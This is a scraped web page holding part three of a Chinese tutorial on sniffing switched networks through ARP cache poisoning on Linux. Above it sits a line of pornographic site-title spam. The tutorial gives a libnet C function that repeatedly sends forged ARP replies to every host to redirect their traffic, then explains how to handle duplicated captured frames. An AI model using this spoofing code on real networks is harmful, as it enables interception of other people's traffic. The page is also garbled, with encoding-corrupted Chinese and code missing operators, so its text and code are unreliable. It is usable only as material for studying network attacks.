日本免费全黄少妇一区二区三区-高清无码一区二区三区四区-欧美中文字幕日韩在线观看-国产福利诱惑在线网站-国产中文字幕一区在线-亚洲欧美精品日韩一区-久久国产精品国产精品国产-国产精久久久久久一区二区三区-欧美亚洲国产精品久久久久

交換型網(wǎng)絡(luò)環(huán)境嗅探原理及LINUX下的實(shí)現(xiàn)( 三 )


ARP高速緩存中的記錄都有過(guò)期時(shí)間 , 不同的操作系統(tǒng)有不同的設(shè)置.在實(shí)施中 , 我們只需以較短的時(shí)間周期性的發(fā)ARP欺騙包 , 則可解決這個(gè)問(wèn)題.
代碼如下:
void send_fake_arp_packet()
{
HOST * temp, * cur;
u_char broad[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

for(cur = head; cur ; cur = cur->next)
{
if( cur->mac_flag == 0)
{
// 構(gòu)造ARP請(qǐng)求包請(qǐng)求此IP地址的MAC地址
libnet_build_ethernet(broad, MYMAC, ETHERTYPE_ARP, NULL, 0, packet);
libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REQUEST,
MYMAC, (u_char *)&MYIP, (u_char *)broad,(u_char *)&cur->ip, NULL, 0, (packetLIBNET_ETH_H));
if((libnet_write_link_layer(netif, device, packet, (LIBNET_ETH_HLIBNET_ARP_H))) < 0)
errexit("libnet_write_link_layer errorn");
continue;
}
for(temp = head; temp; temp = temp->next)
{
if (temp == cur)
continue;
libnet_build_ethernet(cur->mac, MYMAC, ETHERTYPE_ARP, NULL, 0, packet);
libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4, ARPOP_REPLY,
MYMAC, (u_char *)&temp->ip, cur->mac,(u_char *)&cur->ip, NULL, 0, (packetLIBNET_ETH_H));
if((libnet_write_link_layer(netif, device, packet, (LIBNET_ETH_HLIBNET_ARP_H))) < 0)
errexit("libnet_write_link_layer errorn");
}
}
}

正確處理一個(gè)以太包實(shí)際被捕捉兩次的情況 。例如:捕捉到B發(fā)向A的以太包 , 第一次為(2.2.2.2 , 02:02:02)->(1.1.1.1 , 04:04:04) , 第二次為(2.2.2.2 , 04:04:04)->(1.1.1.1 , 01:01:01) 。區(qū)分這兩次捕捉的規(guī)則很簡(jiǎn)單:目標(biāo)IP 不為本IP且目標(biāo)MAC為本MAC就是第一次;源IP不為本IP且源MAC為本MAC就是第二次 。在實(shí)際處理中 , 可任取一種包并把源/目的MAC改寫(xiě) , 對(duì)另一種包忽略即可 。
7. 相關(guān)說(shuō)明
這種ARP欺騙是以主機(jī)的ARP高速緩存可以動(dòng)態(tài)改變?yōu)榍疤岬?, 假如ARP高速緩存中某一IP的MAC地址被設(shè)為靜態(tài)(static) , 則對(duì)關(guān)于此IP的欺騙是顯然不成立的 。
為了盡快的把握網(wǎng)絡(luò)中主機(jī)的地址信息 , 應(yīng)至少對(duì)ARP請(qǐng)求包和ARP應(yīng)答包都處理 。假如只處理ARP請(qǐng)求包 , 則在此刻只能把握發(fā)端主機(jī)的信息 , 并只能欺騙發(fā)端主機(jī) 。在實(shí)際的IP包捕捉中 , 就會(huì)看到單邊數(shù)據(jù)包 。當(dāng)然 , 在程序運(yùn)行一段時(shí)間后 , 所有主機(jī)信息也能全部把握 , 但效率顯然是不高的 。假如再加上對(duì)未知MAC的IP的主動(dòng)請(qǐng)求 , 則捕捉所有數(shù)據(jù)包可在較短時(shí)間內(nèi)完成 。(在實(shí)際的C類(lèi)網(wǎng)中測(cè)試 , 不到一分鐘)

推薦閱讀